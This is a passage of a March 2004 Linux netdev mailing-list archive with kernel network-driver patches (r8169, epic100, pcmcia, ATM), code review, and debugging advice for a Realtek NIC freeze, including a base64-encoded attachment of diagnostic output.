/proc/interrupts', 'i= fconfig' output. For nmi watchdog I don't see the option in kernel = menu. If you tell me how... I'll try... I tryed vanilla-kernel and= Andrew Morton's kernel. Any Idea? Bye Alberto Marchesini. P.S= . I use Gentoo Distribution... --_=__=_XaM3_.1080166206.2A.785848.42.12147.52.42.007.13034 Content-Type: application/x-gzip; name="=?iso-8859-1?Q?output.tar.gz?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?iso-8859-1?Q?output.tar.gz?=" H4sIAOMPYkAAA+xbeZPiOJbvv/0pXkzPRkMvGMk2525NNAmZlUwlVSxQ1bVRW5FhbBk8aWyP jzz60+97kgxkVl50V0fMRiwRmfj46Ul6ereEvxX52ixuix/+vA/jjHUc5wemPg++7Q6+/QEh NnNYl1n4nHOHOT8A+xPHtPuUeeFmAD9kSfIsD156/3/0I3oWG4BeERYIIb+hee8Rp0e1TOQi uxZ+3YCTyYdF80HTIHjQlFevDpu2OZ+ewMWHX6enU3Cv3TByV5EwjSApYx8W0xlMZ82CnoFb EKXAYwEzPsQQJ74ABkVSuFHqrkU+AG5z1u4YAOPpEH5LYjEAh/U7IF834GJy9gFWbuFtBhxB 75Ns60Yax61Ov8MeQxK983C9mYqtxj4KM8bTCVimDSlNLi5MYziaTQYwX4xnULumaQ8R8bpP HX4Bdkuzde0V21NaSkqcKE3eLwH/Ti96nbbCShbDdHG23N33u4oS16uhKZ0NX6bEn6NkV5Sm L1Ni/ecoeRWl8X52igbxYYKE3uqWUugqSkqW/B2f2MHsLhIPl3U4m4zA9X1cjRwxlSRXGPm6 5nppeBn6X4jiV4jcNPT0LfsKIiaxQxmdZYmHVJIMfmTA2wNLEb8WWR4mMVhPE7XuE+WPE+WP E/2Yh/EaiDQECEt3DWqyozp4SRyE6zJzC2oRxgEJNF0bk7gQEUzLqAj3/SxS4YVB6Cn4NTcd g3j8KcyKEhn2a5gJJLlN8f0qjMLiDraoYqbxATVzMh7sVwVJ+qVXqIe0Qq23p63ZKWieF6gh t2enp4rfk9YH9fxHCz7pydmWVGYEjSTINE6JLXK6BKV+BwBnkVuYAIoPHCpK+Z53qPOWcVKG UYHvSTmjMC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DwmkcKOICHD6eESA53ltSQSk7rgaL6/XkvAlxuOhACeTydVo+hXossKkarfbNdGdN5VX 2ifZRMBx5GuicZHcX82zRfIgRz5XoYRVcmS1elAq7NCMeUob19RlbyJL08yhKtMkXSt4FLl1 dpWP6HrVCNgGUc28aPtPF7Mke9vxL6X5/T/Xp/EvuR3/rwGyu8ABh7xCVEBdac/u5fNZi8Gm D7/4NXy/OzSCBoqc/LsNDy6yEHDZcFCiAImoxf8hgejNvkEg+Wuheal+vyaUi/ddonnAKH6W Uf4so/uzjOFzGeUqZ7q9urnodnZ7nd397i6wU9CqipwkIYkWcg1CDk87m4UAb3/YM1z1NjUW +i+jJ7Rhz3q0HNNiPiKf39J1ZbNAl50OusvF44Lo1RZmX7mG36STbKTNEckTddzp/dYOWYdo HxUs1LC5+NAxFPwrYm8vMkwP5eY6xPfoQoTs8kN6kM+T1GODz8zzMGQWpaLZWlvVzOxqC6Eh twsz0fdinqYropWZ7oKoe9qeWOeW5ApT7nMl6ip4TGIAOa00haY8jA8o0u/sNL3J4Dl+OxBG eC9vNVm/mLSqaAUlTvDGL77HtrCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLB4SfwH 8mGVegB4AAA= --_=__=_XaM3_.1080166206.2A.785848.42.12147.52.42.007.13034-- From daniel.ritz@gmx.ch Wed Mar 24 14:21:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:21:48 -0800 (PST) Received: from ritz.dnsalias.org (80-218-57-148.dclient.hispeed.ch [80.218.57.148]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OMLgKO000707 for ; Wed, 24 Mar 2004 14:21:43 -0800 Received: from toshba.local (toshba.local [192.168.100.12]) by ritz.dnsalias.org (Postfix) with ESMTP id 60D364FBB4; Wed, 24 Mar 2004 23:21:40 +0100 (CET) From: Daniel Ritz Reply-To: daniel.ritz@gmx.ch To: Jeff Garzik Subject: [PATCH 2.6] missing s/dev->priv/netdev_priv(dev) in drivers/net/pcmcia/ Date: Wed, 24 Mar 2004 23:15:53 +0100 User-Agent: KMail/1.5.2 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403242315.53770.daniel.ritz@gmx.ch> X-archive-position: 4234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel.ritz@gmx.ch Precedence: bulk X-list: netdev Content-Length: 1020 Lines: 26 clean up the last two instances of dev->priv in drivers/net/pcmcia. against 2.6.5-rc2-bk. --- 1.27/drivers/net/pcmcia/3c589_cs.c Wed Mar 3 01:03:51 2004 +++ edited/drivers/net/pcmcia/3c589_cs.c Wed Mar 24 22:29:35 2004 @@ -716,7 +716,7 @@ "status %4.4x.\n", dev->name, (long)skb->len, inw(ioaddr + EL3_STATUS)); - ((struct el3_private *)dev->priv)->stats.tx_bytes += skb->len; + ((struct el3_private *)netdev_priv(dev))->stats.tx_bytes += skb->len; /* Put out the doubleword header... */ outw(skb->len, ioaddr + TX_FIFO); --- 1.24/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 3 01:06:03 2004 +++ edited/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 24 22:29:51 2004 @@ -444,7 +444,7 @@ link->state &= ~DEV_PRESENT; if (link->state & DEV_CONFIG) { /* set flag to bypass normal interrupt code */ - ((struct tok_info *)dev->priv)->sram_virt |= 1; + ((struct tok_info *)netdev_priv(dev))->sram_virt |= 1; netif_device_detach(dev); ibmtr_release(link); } From benh@kernel.crashing.org Wed Mar 24 14:26:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:27:02 -0800 (PST) Received: from gate.crashing.org (IDENT:root@gate.crashing.org [63.228.1.57]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OMQsKO001224 for ; Wed, 24 Mar 2004 14:26:55 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by gate.crashing.org (8.12.8/8.12.8) with ESMTP id i2OMHXUn026134; Wed, 24 Mar 2004 16:17:34 -0600 Subject: Re: 2.7 net driver stuff From: Benjamin Herrenschmidt To: Jeff Garzik Cc: Netdev In-Reply-To: <4061CC0F.6060201@pobox.com> References: <4061CC0F.6060201@pobox.com> Content-Type: text/plain Message-Id: <1080167207.1115.5.camel@gaston> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Thu, 25 Mar 2004 09:26:48 +1100 Content-Transfer-Encoding: 7bit X-archive-position: 4235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: benh@kernel.crashing.org Precedence: bulk X-list: netdev Content-Length: 659 Lines: 20 On Thu, 2004-03-25 at 04:57, Jeff Garzik wrote: > An initial, quick FYI. I'll be taking input for net drivers that can be > removed in 2.7. Even some of the ancient ISA net drivers still have users, > > Other stuff: > * Would like to get rid of de4x5.c, but EISA support still has users > that appear to care :) And I have an old pmac laptop for which tulip dies while de4x5 works, I didn't figure out what's up yet. > * pondering importing Donald's myson driver, replacing unmaintained > fealnx.c. We have the new module_alias() stuff, which makes the > transition a bit easier. > > Jeff > -- Benjamin Herrenschmidt From daniel.ritz@gmx.ch Wed Mar 24 14:33:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:33:21 -0800 (PST) Received: from ritz.dnsalias.org (80-218-57-148.dclient.hispeed.ch [80.218.57.148]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OMXFKO001623 for ; Wed, 24 Mar 2004 14:33:16 -0800 Received: from toshba.local (toshba.local [192.168.100.12]) by ritz.dnsalias.org (Postfix) with ESMTP id 8BCBA4FBB4; Wed, 24 Mar 2004 23:33:14 +0100 (CET) From: Daniel Ritz Reply-To: daniel.ritz@gmx.ch To: Jeff Garzik Subject: Re: [PATCH 2.6] missing s/dev->priv/netdev_priv(dev) in drivers/net/pcmcia/ Date: Wed, 24 Mar 2004 23:27:28 +0100 User-Agent: KMail/1.5.2 Cc: netdev@oss.sgi.com References: <200403242315.53770.daniel.ritz@gmx.ch> <40620ADD.90307@pobox.com> In-Reply-To: <40620ADD.90307@pobox.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403242327.28378.daniel.ritz@gmx.ch> X-archive-position: 4236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel.ritz@gmx.ch Precedence: bulk X-list: netdev Content-Length: 2627 Lines: 71 On Wednesday 24 March 2004 23:25, Jeff Garzik wrote: > Daniel Ritz wrote: > > clean up the last two instances of dev->priv in drivers/net/pcmcia. > > against 2.6.5-rc2-bk. > > > > --- 1.27/drivers/net/pcmcia/3c589_cs.c Wed Mar 3 01:03:51 2004 > > +++ edited/drivers/net/pcmcia/3c589_cs.c Wed Mar 24 22:29:35 2004 > > @@ -716,7 +716,7 @@ > > "status %4.4x.\n", dev->name, (long)skb->len, > > inw(ioaddr + EL3_STATUS)); > > > > - ((struct el3_private *)dev->priv)->stats.tx_bytes += skb->len; > > + ((struct el3_private *)netdev_priv(dev))->stats.tx_bytes += skb->len; > > > > /* Put out the doubleword header... */ > > outw(skb->len, ioaddr + TX_FIFO); > > --- 1.24/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 3 01:06:03 2004 > > +++ edited/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 24 22:29:51 2004 > > @@ -444,7 +444,7 @@ > > link->state &= ~DEV_PRESENT; > > if (link->state & DEV_CONFIG) { > > /* set flag to bypass normal interrupt code */ > > - ((struct tok_info *)dev->priv)->sram_virt |= 1; > > + ((struct tok_info *)netdev_priv(dev))->sram_virt |= 1; > > netif_device_detach(dev); > > ibmtr_release(link); > > > although the patch is OK, the code itself is a bit yucky. > > Can you please create a temporary variable, of struct el3_private or > tok_info type, and eliminate that cast? > > struct el3_private *priv = netdev_priv(dev); > priv->stats.tx_bytes += skb->len; > > Much nicer :) > agreed. here we go... --- 1.27/drivers/net/pcmcia/3c589_cs.c Wed Mar 3 01:03:51 2004 +++ edited/drivers/net/pcmcia/3c589_cs.c Wed Mar 24 23:22:59 2004 @@ -711,12 +711,13 @@ static int el3_start_xmit(struct sk_buff *skb, struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; + struct el3_private *priv = netdev_priv(dev); DEBUG(3, "%s: el3_start_xmit(length = %ld) called, " "status %4.4x.\n", dev->name, (long)skb->len, inw(ioaddr + EL3_STATUS)); - ((struct el3_private *)dev->priv)->stats.tx_bytes += skb->len; + priv->stats.tx_bytes += skb->len; /* Put out the doubleword header... */ outw(skb->len, ioaddr + TX_FIFO); --- 1.24/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 3 01:06:03 2004 +++ edited/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 24 23:24:39 2004 @@ -444,7 +444,8 @@ link->state &= ~DEV_PRESENT; if (link->state & DEV_CONFIG) { /* set flag to bypass normal interrupt code */ - ((struct tok_info *)dev->priv)->sram_virt |= 1; + struct tok_info *priv = netdev_priv(dev); + priv->sram_virt |= 1; netif_device_detach(dev); ibmtr_release(link); } From romieu@fr.zoreil.com Wed Mar 24 15:05:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 15:05:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ON5HKO002574 for ; Wed, 24 Mar 2004 15:05:18 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2ON4Vgf030999; Thu, 25 Mar 2004 00:04:31 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2ON4VV9030998; Thu, 25 Mar 2004 00:04:31 +0100 Date: Thu, 25 Mar 2004 00:04:31 +0100 From: Francois Romieu To: "markes.albert@libero.it" Cc: netdev Subject: Re: Net module Realtek 8110S/8169S Message-ID: <20040325000431.A30067@electric-eye.fr.zoreil.com> References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="6c2NcOVqGQ03X4Wi" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from markes.albert@libero.it on Wed, Mar 24, 2004 at 11:10:06PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 4791 Lines: 143 --6c2NcOVqGQ03X4Wi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline markes.albert@libero.it : [...] > Fisrt, excuse for my bad english. I have big problem with module r8169 > shipped with kernel 2.6.4. My system is a Pentium4HT, mainborad is a MSI 865PE > Neo2-P with integrated Fast Ethernet Realtek 8110s/8169S (as I see in bios > message). When I transfer a big file (size > 5Mb) from my system to another PC, > it freeze without any message. The Please describe the freeze in a few words: - transfer dead but computer is still fine; - keyboard stuck; - leds do not change any more. > only messages that I see in the log are some line with text "eth0: Too much work > at interrupt!", not at same time with hang. I think is NIC module problem Good to know. > because only operation I do is transfer file (with samba client) in tty (not in > X). With kernel 2.6.3 the problem isn't show. Can you issue a 'dd if=/dev/my_hard_drive of=/dev/null bs=1024k' and see if it performs well for, say 2 or 3 minutes ? If it works dd your file to some other file so that it gets cached in memory (if possible) and try the copy again. [...] > With Kernel 2.6.3 I noticed only a thing, if I unplugged the cable and > re-plug the network not respond (not link on NIC). Only if I stop and start > then daemon, network return-up. It is known but your report is still welcome. [...] > For nmi watchdog I don't see the option in kernel menu. If you tell me > how... I'll try... Processor type and features ---> [...] x x[ ] Symmetric multi-processing support x x x x[ ] Preemptible Kernel x x x x[*] Local APIC support on uniprocessors x x Enable as well: Kernel hacking ---> [...] x x [*] Magic SysRq key x x Pass "nmi_watchdog=1" through the kernel boot command line, verify that you have "kernel.sysrq = 1" in your /etc/sysctl.conf and if something goes wrong try to issue an alt+sysrq+t (sysrq appears as the "print" key amongst the three keys left to the leds). Verify that alt+sysrq+t is fine _before_ the problem appears. If you do not understand, ask again. > I tryed vanilla-kernel and Andrew Morton's kernel. > Any Idea? 1 - Let's rule out the disk first; 2 - then if kernel gets stuck and leds refuse to change state, r8169 may be spinning in irq context, either because there is still a off by one error or because something corrupted the Rx/Tx descriptors. Try again -mm with attached patch and see if messages pop-up (easy to apply by hand if it needs to). Please send lspci, dmesg and friends off-list (tarball for instance). -- Ueimor --6c2NcOVqGQ03X4Wi Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169-break-irq-loop.patch" drivers/net/r8169.c | 12 ++++++++++-- 1 files changed, 10 insertions(+), 2 deletions(-) diff -puN drivers/net/r8169.c~r8169-break-irq-loop drivers/net/r8169.c --- linux-2.6.5-rc2/drivers/net/r8169.c~r8169-break-irq-loop 2004-03-24 23:52:23.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/r8169.c 2004-03-24 23:56:26.000000000 +0100 @@ -1345,6 +1345,7 @@ rtl8169_tx_interrupt(struct net_device * void *ioaddr) { unsigned long dirty_tx, tx_left = 0; + int max_try = 8192; assert(dev != NULL); assert(tp != NULL); @@ -1353,7 +1354,7 @@ rtl8169_tx_interrupt(struct net_device * dirty_tx = tp->dirty_tx; tx_left = tp->cur_tx - dirty_tx; - while (tx_left > 0) { + while ((tx_left > 0) && --max_try) { int entry = dirty_tx % NUM_TX_DESC; if (!(le32_to_cpu(tp->TxDescArray[entry].status) & OWNbit)) { @@ -1371,6 +1372,9 @@ rtl8169_tx_interrupt(struct net_device * } } + if (!max_try) + printk(KERN_INFO "%s: strangeness in Tx handler", dev->name); + if (tp->dirty_tx != dirty_tx) { tp->dirty_tx = dirty_tx; if (netif_queue_stopped(dev)) @@ -1406,6 +1410,7 @@ rtl8169_rx_interrupt(struct net_device * { unsigned long cur_rx, rx_left; int delta; + int max_try = 8192; assert(dev != NULL); assert(tp != NULL); @@ -1414,7 +1419,7 @@ rtl8169_rx_interrupt(struct net_device * cur_rx = tp->cur_rx; rx_left = NUM_RX_DESC + tp->dirty_rx - cur_rx; - while (rx_left > 0) { + while ((rx_left > 0) && --max_try) { int entry = cur_rx % NUM_RX_DESC; u32 status = le32_to_cpu(tp->RxDescArray[entry].status); @@ -1461,6 +1466,9 @@ rtl8169_rx_interrupt(struct net_device * rx_left--; } + if (!max_try) + printk(KERN_INFO "%s: strangeness in Rx handler", dev->name); + tp->cur_rx = cur_rx; delta = rtl8169_rx_fill(tp, dev, tp->dirty_rx, tp->cur_rx); _ --6c2NcOVqGQ03X4Wi-- From chas@cmf.nrl.navy.mil Wed Mar 24 15:12:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 15:12:42 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ONCVKO003084 for ; Wed, 24 Mar 2004 15:12:35 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.11/8.12.11) with ESMTP id i2ONCKGG026715; Wed, 24 Mar 2004 18:12:21 -0500 (EST) Message-Id: <200403242312.i2ONCKGG026715@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lec] lec_push() races with vcc->proto_data Reply-To: chas3@users.sourceforge.net Date: Wed, 24 Mar 2004 18:12:22 -0500 From: "chas williams (contractor)" X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 4238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1021 Lines: 30 please apply to the 2.6 and 2.4 kernels. thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1674 -> 1.1675 # net/atm/lec.c 1.39 -> 1.40 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/24 chas@relax.cmf.nrl.navy.mil 1.1675 # [ATM]: [lec] lec_push() races with vcc->proto_data # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Wed Mar 24 15:17:37 2004 +++ b/net/atm/lec.c Wed Mar 24 15:17:37 2004 @@ -797,8 +797,8 @@ vcc->pop = lec_pop; lec_vcc_added(dev_lec[ioc_data.dev_num]->priv, &ioc_data, vcc, vcc->push); - vcc->push = lec_push; vcc->proto_data = dev_lec[ioc_data.dev_num]; + vcc->push = lec_push; return 0; } From chas@cmf.nrl.navy.mil Wed Mar 24 15:13:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 15:13:06 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OND1KO003204 for ; Wed, 24 Mar 2004 15:13:01 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.11/8.12.11) with ESMTP id i2ONCu6E026729; Wed, 24 Mar 2004 18:12:56 -0500 (EST) Message-Id: <200403242312.i2ONCu6E026729@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [nicstar] use kernel min/max (by "Randy.Dunlap" ) Reply-To: chas3@users.sourceforge.net Date: Wed, 24 Mar 2004 18:12:57 -0500 From: "chas williams (contractor)" X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 4239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1460 Lines: 39 please apply to the 2.6 and 2.4 kernels. thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1673 -> 1.1674 # drivers/atm/nicstar.c 1.21 -> 1.22 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/24 chas@relax.cmf.nrl.navy.mil 1.1674 # [ATM]: [nicstar] use kernel min/max (by "Randy.Dunlap" ) # -------------------------------------------- # diff -Nru a/drivers/atm/nicstar.c b/drivers/atm/nicstar.c --- a/drivers/atm/nicstar.c Wed Mar 24 15:17:23 2004 +++ b/drivers/atm/nicstar.c Wed Mar 24 15:17:23 2004 @@ -112,9 +112,6 @@ /* Macros *********************************************************************/ -#define MAX(a,b) ((a) > (b) ? (a) : (b)) -#define MIN(a,b) ((a) < (b) ? (a) : (b)) - #define CMD_BUSY(card) (readl((card)->membase + STAT) & NS_STAT_CMDBZ) #define NS_DELAY mdelay(1) @@ -2483,7 +2480,7 @@ for (j = 1; j < NS_SKB(iovb)->iovcnt; j++) { lb = (struct sk_buff *) iov->iov_base; - tocopy = MIN(remaining, iov->iov_len); + tocopy = min_t(int, remaining, iov->iov_len); memcpy(hb->tail, lb->data, tocopy); skb_put(hb, tocopy); iov++; From romieu@fr.zoreil.com Wed Mar 24 16:29:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 16:29:19 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2P0TCKO009669 for ; Wed, 24 Mar 2004 16:29:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2P0Rrgf031858; Thu, 25 Mar 2004 01:27:53 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2P0Rqq0031857; Thu, 25 Mar 2004 01:27:52 +0100 Date: Thu, 25 Mar 2004 01:27:52 +0100 From: Francois Romieu To: Jeff Garzik Cc: OGAWA Hirofumi , netdev@oss.sgi.com Subject: [PATCH] 2.6.5-rc2 - more epic100 napi Message-ID: <20040325012752.B30067@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <20040323195119.A14062@electric-eye.fr.zoreil.com> <871xnjgwrs.fsf@devron.myhome.or.jp> <20040324014140.A16202@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040324014140.A16202@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Wed, Mar 24, 2004 at 01:41:40AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 4866 Lines: 157 Francois Romieu : [...] > diff -puN drivers/net/epic100.c~epic100-napi-30 drivers/net/epic100.c > --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-30 2004-03-24 01:18:25.000000000 +0100 > +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-24 01:19:35.000000000 +0100 > @@ -1355,7 +1356,6 @@ static int epic_poll(struct net_device * > > orig_budget = (*budget > dev->quota) ? dev->quota : *budget; > > -rx_action: > outl(EpicNapiEvent, ioaddr + INTSTAT); > > epic_tx(dev, ep); > @@ -1369,18 +1369,18 @@ rx_action: > > if (netif_running(dev) && (work_done < orig_budget)) { > unsigned long flags; > - int status; > > - spin_lock_irqsave(&ep->napi_lock, flags); > epic_napi_irq_on(dev, ep); > + > + spin_lock_irqsave(&ep->napi_lock, flags); > __netif_rx_complete(dev); > - spin_unlock_irqrestore(&ep->napi_lock, flags); > > - status = inl(ioaddr + INTSTAT); > - if (status & EpicNapiEvent) { > + if (ep->reschedule_in_poll) { > epic_napi_irq_off(dev, ep); > - goto rx_action; > + __netif_rx_schedule(dev); ^^^^^^^^^^^^^^^^^^^^^^^^^ While in poll() handler, brilliant :o( Please apply (tested) patch below on top of the acked patches (i.e 1/4...4/4): - issuing commands via the serial console under an incoming stream of 40k short sized pps sucks but it is possible; - does not leak refcount (it rmmods fine). Next step: identify the best performer amongst the previously discussed changes. Multiple invocation of __netif_rx_schedule() in epic_interrupt() while epic_poll loops over __netif_rx_complete() leads to serious device refcount leak. drivers/net/epic100.c | 33 ++++++++++++++++++--------------- 1 files changed, 18 insertions(+), 15 deletions(-) diff -puN drivers/net/epic100.c~epic100-napi-30 drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-30 2004-03-24 01:18:25.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-25 00:51:30.000000000 +0100 @@ -337,6 +337,7 @@ struct epic_private { /* Ring pointers. */ spinlock_t lock; /* Group with Tx control cache line. */ spinlock_t napi_lock; + unsigned int reschedule_in_poll; unsigned int cur_tx, dirty_tx; unsigned int cur_rx, dirty_rx; @@ -472,7 +473,9 @@ static int __devinit epic_init_one (stru dev->base_addr = ioaddr; dev->irq = irq; - spin_lock_init (&ep->lock); + spin_lock_init(&ep->lock); + spin_lock_init(&ep->napi_lock); + ep->reschedule_in_poll = 0; /* Bring the chip out of low-power mode. */ outl(0x4200, ioaddr + GENCTL); @@ -981,8 +984,6 @@ static void epic_init_ring(struct net_de int i; ep->tx_full = 0; - spin_lock_init(&ep->lock); - spin_lock_init(&ep->napi_lock); ep->dirty_tx = ep->cur_tx = 0; ep->cur_rx = ep->dirty_rx = 0; ep->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); @@ -1152,7 +1153,6 @@ static void epic_tx(struct net_device *d } } - /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs) @@ -1177,14 +1177,16 @@ static irqreturn_t epic_interrupt(int ir break; handled = 1; - if (status & EpicNapiEvent) { + if ((status & EpicNapiEvent) && !ep->reschedule_in_poll) { spin_lock(&ep->napi_lock); if (netif_rx_schedule_prep(dev)) { epic_napi_irq_off(dev, ep); __netif_rx_schedule(dev); - } + } else + ep->reschedule_in_poll++; spin_unlock(&ep->napi_lock); } + status &= ~EpicNapiEvent; /* Check uncommon events all at once. */ if (status & @@ -1211,7 +1213,7 @@ static irqreturn_t epic_interrupt(int ir /* Clear all error sources. */ outl(status & 0x7f18, ioaddr + INTSTAT); } - if (status & EpicNormalEvent) + if (!(status & EpicNormalEvent)) break; if (--boguscnt < 0) { printk(KERN_ERR "%s: Too much work at interrupt, " @@ -1356,7 +1358,6 @@ static int epic_poll(struct net_device * orig_budget = (*budget > dev->quota) ? dev->quota : *budget; rx_action: - outl(EpicNapiEvent, ioaddr + INTSTAT); epic_tx(dev, ep); @@ -1369,18 +1370,20 @@ rx_action: if (netif_running(dev) && (work_done < orig_budget)) { unsigned long flags; - int status; spin_lock_irqsave(&ep->napi_lock, flags); - epic_napi_irq_on(dev, ep); - __netif_rx_complete(dev); - spin_unlock_irqrestore(&ep->napi_lock, flags); - status = inl(ioaddr + INTSTAT); - if (status & EpicNapiEvent) { - epic_napi_irq_off(dev, ep); + if (ep->reschedule_in_poll) { + ep->reschedule_in_poll--; + spin_unlock_irqrestore(&ep->napi_lock, flags); goto rx_action; } + + outl(EpicNapiEvent, ioaddr + INTSTAT); + epic_napi_irq_on(dev, ep); + __netif_rx_complete(dev); + + spin_unlock_irqrestore(&ep->napi_lock, flags); } return (work_done >= orig_budget); _ From dtor@coreip.homeip.net Wed Mar 24 20:54:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 20:54:53 -0800 (PST) Received: from smtp813.mail.sc5.yahoo.com (smtp813.mail.sc5.yahoo.com [66.163.170.83]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2P4sZKO029297 for ; Wed, 24 Mar 2004 20:54:35 -0800 Received: from unknown (HELO coreip.homeip.net) (dtor?core@ameritech.net@68.251.103.1 with login) by smtp813.mail.sc5.yahoo.com with SMTP; 25 Mar 2004 04:54:34 -0000 Received: from localhost (localhost.localdomain [127.0.0.1]) by coreip.homeip.net (Postfix) with ESMTP id 9E3F5FB0EC; Wed, 24 Mar 2004 23:54:32 -0500 (EST) Received: from coreip.homeip.net ([127.0.0.1]) by localhost (core.prvt.inr.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 01962-03; Wed, 24 Mar 2004 23:54:25 -0500 (EST) Received: by coreip.homeip.net (Postfix, from userid 500) id 7A617FB0EB; Wed, 24 Mar 2004 23:54:24 -0500 